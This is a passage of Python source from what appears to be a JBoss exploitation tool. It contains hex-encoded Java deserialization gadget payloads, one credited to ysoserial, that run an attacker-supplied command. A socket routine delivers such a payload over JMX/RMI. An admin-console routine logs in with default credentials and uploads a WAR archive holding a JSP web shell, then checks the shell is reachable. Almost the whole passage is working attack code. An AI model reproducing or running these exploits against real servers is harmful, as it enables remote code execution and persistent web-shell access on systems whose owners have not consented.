\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\
\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\
\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\
\x00\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x25\x00\x00\x00\x02\x76\
\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\
\x3B\xB3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x25\x73\x71\x00\x7E\x00\x1D\x75\x71\x00\
\x7E\x00\x22\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x22\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\
\x6F\x6B\x65\x75\x71\x00\x7E\x00\x25\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\
\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\
\x71\x00\x7E\x00\x22\x73\x71\x00\x7E\x00\x1D\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\
\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x70\x78\x70\
\x00\x00\x00\x01\x74\x00")
        # if running in python 3
        if version_info[0] >= 3:
            payload += (bytes(chr(len(cmd)), 'utf-8'))
            payload += (bytes(cmd, 'utf-8'))
        else:
            payload += (chr(len(cmd)))
            payload += (cmd)
        payload += (b"\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x25\x00\x00\x00\x01\x71\x00\
\x7E\x00\x2A\x73\x71\x00\x7E\x00\x19\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\
\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\
\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\
\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\
\x00\x00\x00\x00\x00\x00\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78\x78\x76\x72\x00\x12\
\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x70\x78\x70")

        # Interact to confirms that this is an RMI port
        # This interact is no need... only for fun

        # 1) send protocol hello (JRMI..K)
        s.send(b"\x4A\x52\x4D\x49\x00\x02\x4B")

        # 2) receive data (4e 00 XX + src_IP + 00 00 + int_src_Port) 19 bytes
        s.recv(1024)

        # 3) send some data + a little serialized object (18 bytes)
        s.send(b"\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x00\x00\x00\x50\xac\xed\x00\
\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d\x69")

        # 4) receive a RMIServerImpStub serialized, containing the port to connect in jrmi (42 bytes)
        msg = s.recv(1024)

        # take rmi port platform from received bytes
        port_rmi_platform = int(base64.b16encode(msg[-26:-24]), 16)

        s.send("\x52")
        s.recv(1024)
        s.send(b"\x54\x7d\x14\x23\xc5\x00\x00\x01\x5a\x6d\x61\xc2\x91\x3b\xc8")

        # 5) close this connection
        s.close()

        # Connect to send exploit
        #-----------------------------------------

        # 6) open a new connect, to a  port
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)
        s.connect((host_rmi,port_rmi))

        # 7) send header
        s.send(b"\x4A\x52\x4D\x49\x00\x02\x4B")

        # 8) receive data
        s.recv(1024)

        # 9) sendo some data
        s.send(b"\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x00\x00\x00")

        # 10) send payload
        s.send(payload)

        s.close()

    except socket.error as err:
        jexboss.print_and_flush(RED + "\n * [ERROR]: %s (%s:%s).\n" % (err,host_rmi,port_rmi)+ ENDC)
        return 505

    return 200


def exploit_admin_console(url, jboss_login):
    """
    Exploits admin-console
    tested and works in JBoss 5 and 6
    :param url: The URL to exploit
    :return: The HTTP status code
    """
    # Use default password for Jboss 5 and 6
    username = jboss_login.split(":")[0]
    password = jboss_login.split(":")[1]
    headers = {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection": "keep-alive",
        "User-Agent": jexboss.get_random_user_agent()}

    r = gl_http_pool.request('GET', url+"/admin-console/login.seam", headers=headers)

    if r.getheader('set-cookie') is not None:
        headers['Cookie'] = r.getheader('set-cookie')

    state = get_viewstate_value(str(r.data))
    #payload = ("login_form=login_form&login_form:name=%s&login_form:password=%s&login_form:submit=Login"
    #           "&javax.faces.ViewState=%s" % (username, password, state))
    if state is None: return 505
    payload = "login_form=login_form&login_form%3Aname="+username+"&login_form%3Apassword="+password+"&login_form%3Asubmit=Login&javax.faces.ViewState="+url_encode(state)
    headers['Content-Type'] = "application/x-www-form-urlencoded"
    if jboss_login == "admin:admin":
        jexboss.print_and_flush(GREEN + "\n * Info: Trying to perform authentication with default credentials..." +ENDC)
    else:
        jexboss.print_and_flush(GREEN + "\n * Info: Trying to perform authentication with credentials: %s" %jboss_login+ ENDC )
    r = gl_http_pool.request('POST', url+"/admin-console/login.seam", body=payload, headers=headers, redirect=False)
    state = get_viewstate_value(str(r.data))
    if r.status == 302:
        jexboss.print_and_flush(GREEN + " * Info: Successfully logged in! Wait..." + ENDC)
        location = r.getheader('Location')
        conversation_id = location.split('=')[1]
        r = gl_http_pool.request('GET', location, headers=headers)
        if state == None:
            sleep(7)
        r = gl_http_pool.request('GET', url+"/admin-console/secure/summary.seam?path=-3%2FApplications%2FWeb+Application+%28WAR"
                                    "%29&conversationId="+conversation_id+"&conversationPropagation=end", headers=headers)
        conversation_id = str(int(conversation_id)+1)
        r = gl_http_pool.request('GET', url+"/admin-console/secure/resourceTypeSummary.seam?actionMethod=secure%2FresourceType"
                                    "Summary.xhtml%3AcreateContentBackedResourceAction.init%28%29&conversationId="
                                    + conversation_id, headers=headers)
        state = get_viewstate_value(str(r.data))

        headers['Content-Type'] = "multipart/form-data; boundary=---------------------------551367293438156646377323759"

        payload = ("\x50\x4B\x03\x04\x14\x00\x08\x08\x08\x00\x05\xBC\x5E\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00"
           "\x00\x00\x00\x09\x00\x04\x00\x4D\x45\x54\x41\x2D\x49\x4E\x46\x2F\xFE\xCA\x00\x00\x03\x00\x50\x4B"
           "\x07\x08\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x50\x4B\x03\x04\x14\x00\x08\x08\x08\x00"
           "\x05\xBC\x5E\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x4D\x45\x54\x41"
           "\x2D\x49\x4E\x46\x2F\x4D\x41\x4E\x49\x46\x45\x53\x54\x2E\x4D\x46\xF3\x4D\xCC\xCB\x4C\x4B\x2D\x2E"
           "\xD1\x0D\x4B\x2D\x2A\xCE\xCC\xCF\xB3\x52\x30\xD4\x33\xE0\xE5\x72\x2E\x4A\x4D\x2C\x49\x4D\xD1\x75"
           "\xAA\x04\x09\x58\xE8\x19\xC4\x9B\x9B\x2B\x68\xF8\x17\x25\x26\xE7\xA4\x2A\x38\xE7\x17\x15\xE4\x17"
           "\x25\x96\x00\x95\x6B\xF2\x72\xF1\x72\x01\x00\x50\x4B\x07\x08\x05\xA0\x0E\xBC\x43\x00\x00\x00\x44"
           "\x00\x00\x00\x50\x4B\x03\x04\x14\x00\x08\x08\x08\x00\xEF\xBB\x5E\x49\x00\x00\x00\x00\x00\x00\x00"
           "\x00\x00\x00\x00\x00\x0A\x00\x00\x00\x6A\x65\x78\x77\x73\x34\x2E\x6A\x73\x70\x95\x55\xDB\x6E\xDB"
           "\x38\x10\x7D\xDF\xAF\x60\x08\x04\x10\x1B\x5B\x4E\x16\xFB\xD0\x46\x51\xB0\xD9\x6E\x82\x74\x51\x6C"
           "\x83\x5C\xB0\x05\x82\xA0\x90\xA8\xB1\xC5\x84\x26\x59\x92\xB2\x1D\xB8\xFA\xF7\x0E\x29\x5F\xE3\x20"
           "\xE8\xBE\x08\xE4\x70\x66\x78\xE6\xCC\x19\xEA\x64\xFF\x4F\x62\x8A\x11\x10\x31\x36\xDA\xFA\x9C\x3E"
           "\x16\x93\x22\x95\x85\x1A\xA5\xEF\x7A\x71\xDD\x78\x21\x97\x6B\xA1\x97\x2B\x05\x3E\x7D\x47\x63\xE8"
           "\xB9\xE2\xBA\x12\x6A\x94\xD3\xBB\xDB\x8B\xFE\x7B\xBA\x7F\x4A\x4E\x8C\x05\xFC\xEE\x13\x2E\x0B\xE7"
           "\x88\x9D\x10\x98\x79\x50\x95\x23\xB7\xB5\x85\xA2\x9A\x7F\x52\xA6\xF1\x37\x1E\xD7\x63\x22\x5C\xF6"
           "\xA5\xF1\xEB\xBD\x76\x99\x9D\x24\xDB\x1E\xBD\x17\x1E\x6C\xEE\x6B\xE1\x52\xE1\x72\x8C\x8E\x4B\xED"
           "\x72\x0C\x6C\x4D\x53\x4A\xC1\xC9\x44\x8B\x8A\xD8\x46\x25\x6C\xFE\x57\x33\x1C\x82\x85\xEA\x1A\xEF"
           "\x05\x4B\x84\xCA\x55\x23\x65\xB6\x34\xFF\x67\x85\x47\xB3\x6E\x7C\x67\xF7\xF6\x79\x1E\x7C\x60\x4A"
           "\xB6\x23\x93\x60\xDA\x40\xB5\xB0\x2E\x70\x30\x96\xC5\x14\x1B\x61\x5D\xE6\x18\xB6\x89\x7E\x61\x5E"
           "\x80\xC6\x38\x5E\x17\x96\x94\xF7\x0F\x31\x38\x6C\xEE\xDF\x1F\x7D\xF8\xFD\x21\x13\xCA\x13\x99\x4D"
           "\x6B\x21\x21\x49\x64\x2E\x54\x1A\xA8\x4B\xCA\xDE\x61\xAF\x4C\x25\xA8\x91\xAF\x19\x3B\x3D\x64\x73"
           "\xBC\x38\x9D\x86\xAC\xF1\x4C\x46\x24\xE9\x50\x36\xAE\x4E\x58\xD6\xB6\xBC\xF0\xBC\x4E\xCE\x67\x1C"
           "\x8C\x17\x5A\x11\x60\xF3\xB6\x6D\x11\x0C\xF6\x8C\xB8\xBA\x2B\x5B\x0C\x13\x0B\xDF\x1B\x70\x3E\x1D"
           "\x81\xBF\x2A\x6C\x31\x86\x00\x93\x1A\x63\x28\xDB\x8B\x4E\x6C\x8E\xDE\x6F\x78\x65\x2D\x48\x87\x4A"
           "\xDA\x4A\x75\xD9\xD1\x44\xBF\xF6\xFF\x39\xFF\x1A\x32\x91\xD7\x52\xBD\xF0\xCA\x5A\x4C\xE2\x6A\xB2"
           "\xF2\xB6\xE0\x8C\x56\x0E\x52\x07\xFE\xA3\x56\xA8\x25\x7F\xFB\x6C\x20\xA1\x1E\x85\x35\xA8\xFD\x58"
           "\x62\xD0\x8B\x4E\x97\xB6\x2B\x6D\x51\xA9\xAC\x79\x1E\x9B\xF1\x77\x81\x4C\xB1\xD4\xEB\xEE\x00\x97"
           "\xCE\x48\xE1\x13\x7A\x4C\xD9\xFD\xE1\xC3\x01\xAD\x53\xA9\x47\x94\x21\xDD\x46\x16\x1C\xCE\xA4\x4C"
           "\x28\xA1\x3D\xDA\xC7\x3B\xA2\x3C\x5E\x2D\x50\xE9\x3E\xAF\x81\x3F\xF5\x1B\x53\xE1\x0D\x8E\xB2\x7C"
           "\xC1\xDA\xA5\xF7\xE6\xEE\xFA\x33\xE2\x56\xC0\x63\x0B\x10\xC9\x8E\x91\x05\x6C\x68\x49\x68\x8D\x47"
           "\xC7\x83\xC1\x14\x4A\x57\x83\x94\xE9\x23\xCC\x4A\xED\x5C\x98\xB9\xC1\xA3\x33\xDF\x26\x60\x1D\x06"
           "\xA4\x7E\xE6\x11\xA5\x36\xA0\xD6\x59\xB0\xE3\x3C\x90\x74\xDD\x01\xBC\xB2\x78\x6C\xFD\x73\x42\xEF"
           "\x1C\xD8\xFE\xD9\x08\x89\xA3\xBD\x57\xD0\x5F\x6A\x87\xC9\x0E\xE8\x49\x9F\x1E\x6C\x1C\x5F\xC3\x58"
           "\x7B\x38\xAB\x2A\x9B\xA0\x52\xB1\xF0\xBD\x80\xF2\x22\x48\x92\xC6\x6A\xBF\xD1\x03\x24\x96\xA5\x30"
           "\x13\xCE\x3B\x74\x9A\x5F\x21\xA9\x7E\x31\x55\xD3\xA8\xE9\x0D\xCB\x76\x54\x36\x4D\xB9\xD4\x0E\xBB"
           "\x91\x85\x66\xFD\xEA\xC8\xF1\x80\x6C\xC3\x8C\xB7\xB2\x55\x97\x27\x79\x69\xE3\xA0\x7C\x16\x0A\xD6"
           "\xBD\x25\xD8\xDB\xA3\x87\x58\x81\x9C\xA4\x58\x60\x21\x5D\x42\xFF\xA0\xAC\x1B\x1F\x13\x20\x26\xF4"
           "\x5F\xBC\x6F\xC9\x2E\xB9\x92\x50\xA0\x9C\xBB\x76\xEE\x05\x51\xAE\xF4\xED\xEA\x54\xA8\x0A\x66\x5F"
           "\x86\x09\x15\x55\x50\x75\xFF\xE8\xC7\x8F\x2D\xAB\xE1\x5A\x0D\xC5\xA8\x3B\x63\xF3\x5D\xCC\x98\xEE"
           "\xB5\xD1\x5C\xA1\x91\x2A\xA1\x17\x05\x32\x5D\x11\xAF\x49\xA4\x8D\x0C\xB5\x25\x2B\x79\x65\x6D\x10"
           "\x23\x76\x98\x03\xBE\xB1\x26\x2B\xB5\x46\xC4\x8A\x28\x31\xCB\xBD\x6D\x20\x16\x7B\xF3\xEC\x3C\x8C"
           "\xE3\xB4\xAE\xA4\x30\xC4\xA4\xA8\x11\x83\xE3\xEB\xB5\x45\x09\x2D\xE9\x18\x04\x3A\x42\xF8\x10\xB7"
           "\xB0\x18\xC2\x75\x4D\xA8\x43\x1B\xF5\x90\x2F\xAB\xBA\xD1\xFC\x09\x3C\x71\x3C\x36\xAF\xDB\x85\x90"
           "\x05\xE9\x79\x24\x7D\x7B\xBC\x7A\x9F\x70\x7A\x47\x60\x53\xBC\xDE\x01\x6E\x36\xFC\x8F\xA3\x7F\x27"
           "\x34\x84\x11\x1F\x09\x3A\x28\x85\x1A\x94\x85\xAB\x69\xF7\xBE\x44\x23\x1F\x57\x28\x39\x40\x93\xC9"
           "\xAF\x1B\xE5\xC5\x18\xA2\x5C\xBB\x65\x12\xF4\x08\x1C\x33\xB3\x2C\x6A\x08\xFF\x27\x66\xA7\x01\x3D"
           "\x17\x9B\xB2\xF9\x36\x07\x25\xA5\xCE\x17\xD6\x27\xEB\x48\xB7\xDB\xBB\x9E\x79\x33\xB2\xC3\xB9\x2C"
           "\xE2\x2D\x84\x91\xB6\xA8\xDC\xFB\x87\xF9\x46\xA9\xF8\xD8\x70\xDA\x73\x75\xBB\x4C\xF6\x56\x92\x25"
           "\x1B\x64\xF0\x91\xD0\x83\x50\x74\xFB\x7F\xC6\x69\x97\x99\xF5\x38\x55\xDB\xD3\xB4\xF8\x1B\x55\xEB"
           "\x87\x79\x53\xAE\x15\xCB\x5E\xFA\xFF\x82\xC6\xEF\xD4\x93\xD2\x53\x7C\x13\xF5\x78\x5C\xA8\x2A\xCE"
           "\xD9\xFE\xE9\x6F\x3F\x01\x50\x4B\x07\x08\x26\x77\xF3\x5E\xE3\x03\x00\x00\x99\x08\x00\x00\x50\x4B"
           "\x01\x02\x14\x00\x14\x00\x08\x08\x08\x00\x05\xBC\x5E\x49\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00"
           "\x00\x00\x09\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4D\x45\x54\x41"
           "\x2D\x49\x4E\x46\x2F\xFE\xCA\x00\x00\x50\x4B\x01\x02\x14\x00\x14\x00\x08\x08\x08\x00\x05\xBC\x5E"
           "\x49\x05\xA0\x0E\xBC\x43\x00\x00\x00\x44\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
           "\x00\x00\x00\x3D\x00\x00\x00\x4D\x45\x54\x41\x2D\x49\x4E\x46\x2F\x4D\x41\x4E\x49\x46\x45\x53\x54"
           "\x2E\x4D\x46\x50\x4B\x01\x02\x14\x00\x14\x00\x08\x08\x08\x00\xEF\xBB\x5E\x49\x26\x77\xF3\x5E\xE3"
           "\x03\x00\x00\x99\x08\x00\x00\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC2\x00\x00"
           "\x00\x6A\x65\x78\x77\x73\x34\x2E\x6A\x73\x70\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00\xB5"
           "\x00\x00\x00\xDD\x04\x00\x00\x00\x00")

        data = get_boundary_admin_console(jboss_version=6, state=state, payload=payload)
        try:
            r = gl_http_pool.request('POST', url + "/admin-console/secure/resourceContentCreate.seam", headers=headers,body=data)
            if r.status != 302:
                data = get_boundary_admin_console(jboss_version=5, state=state, payload=payload)
                r = gl_http_pool.request('POST', url + "/admin-console/secure/resourceContentCreate.seam", headers=headers, body=data)
        except:
            sleep(1)

        return get_successfully(url, "/jexws4/jexws4.jsp")

    else:
        jexboss.print_and_flush(RED + "\n * Failed authentication with username and password: %s.\n"
                                      "   Please try again with another login and password!\n" %jboss_login + ENDC)
        sleep(4)
        return 404


def generate_commons_collections40_payload(cmd):
    # org.apache.commons:commons-collections4:4.0 (thanks ysoserial)

    payload_commons_collection = (b"\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x50\x72\x69\x6F\x72\
\x69\x74\x79\x51\x75\x65\x75\x65\x94\xDA\x30\xB4\xFB\x3F\x82\xB1\x03\x00\x02\x49\x00\x04\x73\x69\
\x7A\x65\x4C\x00\x0A\x63\x6F\x6D\x70\x61\x72\x61\x74\x6F\x72\x74\x00\x16\x4C\x6A\x61\x76\x61\x2F\
\x75\x74\x69\x6C\x2F\x43\x6F\x6D\x70\x61\x72\x61\x74\x6F\x72\x3B\x78\x70\x00\x00\x00\x02\x73\x72\
\x00\x42\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\
\x6C\x65\x63\x74\x69\x6F\x6E\x73\x34\x2E\x63\x6F\x6D\x70\x61\x72\x61\x74\x6F\x72\x73\x2E\x54\x72\
\x61\x6E\x73\x66\x6F\x72\x6D\x69\x6E\x67\x43\x6F\x6D\x70\x61\x72\x61\x74\x6F\x72\x2F\xF9\x84\xF0\
\x2B\xB1\x08\xCC\x02\x00\x02\x4C\x00\x09\x64\x65\x63\x6F\x72\x61\x74\x65\x64\x71\x00\x7E\x00\x01\
\x4C\x00\x0B\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x74\x00\x2D\x4C\x6F\x72\x67\x2F\x61\x70\
\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\
\x34\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x73\x72\x00\x40\x6F\x72\x67\x2E\
\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\
\x6E\x73\x34\x2E\x63\x6F\x6D\x70\x61\x72\x61\x74\x6F\x72\x73\x2E\x43\x6F\x6D\x70\x61\x72\x61\x62\
\x6C\x65\x43\x6F\x6D\x70\x61\x72\x61\x74\x6F\x72\xFB\xF4\x99\x25\xB8\x6E\xB1\x37\x02\x00\x00\x78\
\x70\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\
\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x34\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\
\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\
\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2E\x5B\x4C\
\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\
\x63\x74\x69\x6F\x6E\x73\x34\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x75\x72\
\x00\x2E\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\
\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x34\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\
\x39\x81\x3A\xFB\x08\xDA\x3F\xA5\x02\x00\x00\x78\x70\x00\x00\x00\x02\x73\x72\x00\x3C\x6F\x72\x67\
\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\
\x6F\x6E\x73\x34\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\
\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\
\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\
\x6A\x65\x63\x74\x3B\x78\x70\x76\x72\x00\x37\x63\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\
\x70\x61\x63\x68\x65\x2E\x78\x61\x6C\x61\x6E\x2E\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\
\x74\x63\x2E\x74\x72\x61\x78\x2E\x54\x72\x41\x58\x46\x69\x6C\x74\x65\x72\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x78\x70\x73\x72\x00\x3F\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\
\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x34\x2E\x66\x75\x6E\x63\x74\
\x6F\x72\x73\x2E\x49\x6E\x73\x74\x61\x6E\x74\x69\x61\x74\x65\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\
\x65\x72\x34\x8B\xF4\x7F\xA4\x86\xD0\x3B\x02\x00\x02\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\
\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x5B\x00\x0B\x69\x50\
\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\
\x43\x6C\x61\x73\x73\x3B\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\
\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x78\x70\x00\x00\x00\x01\
\x73\x72\x00\x3A\x63\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x78\
\x61\x6C\x61\x6E\x2E\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\x74\x63\x2E\x74\x72\x61\x78\
\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x49\x6D\x70\x6C\x09\x57\x4F\xC1\x6E\xAC\xAB\x33\x03\x00\
\x06\x49\x00\x0D\x5F\x69\x6E\x64\x65\x6E\x74\x4E\x75\x6D\x62\x65\x72\x49\x00\x0E\x5F\x74\x72\x61\
\x6E\x73\x6C\x65\x74\x49\x6E\x64\x65\x78\x5B\x00\x0A\x5F\x62\x79\x74\x65\x63\x6F\x64\x65\x73\x74\
\x00\x03\x5B\x5B\x42\x5B\x00\x06\x5F\x63\x6C\x61\x73\x73\x71\x00\x7E\x00\x14\x4C\x00\x05\x5F\x6E\
\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\
\x4C\x00\x11\x5F\x6F\x75\x74\x70\x75\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4C\
\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x3B\x78\x70\x00\
\x00\x00\x00\xFF\xFF\xFF\xFF\x75\x72\x00\x03\x5B\x5B\x42\x4B\xFD\x19\x15\x67\x67\xDB\x37\x02\x00\
\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\
\x78\x70\x00\x00\x06\x8C\xCA\xFE\xBA\xBE\x00\x00\x00\x31\x00\x38\x0A\x00\x03\x00\x22\x07\x00\x36\
\x07\x00\x25\x07\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\
\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\xAD\x20\
\x93\xF3\x91\xDD\xEF\x3E\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\
\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\
\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\
\x69\x73\x01\x00\x13\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\
\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x35\x4C\x79\x73\x6F\x73\x65\
\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\
\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x3B\x01\
\x00\x09\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x01\x00\x72\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\
\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\
\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\
\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\
\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\
\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x64\x6F\x63\x75\x6D\x65\x6E\x74\x01\x00\x2D\x4C\x63\
\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\
\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x01\x00\x08\x68\x61\
\x6E\x64\x6C\x65\x72\x73\x01\x00\x42\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\
\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\
